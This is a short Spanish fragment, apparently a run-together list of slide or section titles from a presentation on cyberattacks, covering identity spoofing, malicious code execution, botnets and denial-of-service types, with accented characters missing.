identidadSuplantacin de identidadEjecucin de cdigo maliciosoEjecucin de cdigo maliciosoEjecucin de cdigo maliciosoEjecucin de cdigo maliciosoBotnetsBotnetsDenegacin de Servicio (DoS)Tipos de ataques DoSConclusionesReferencias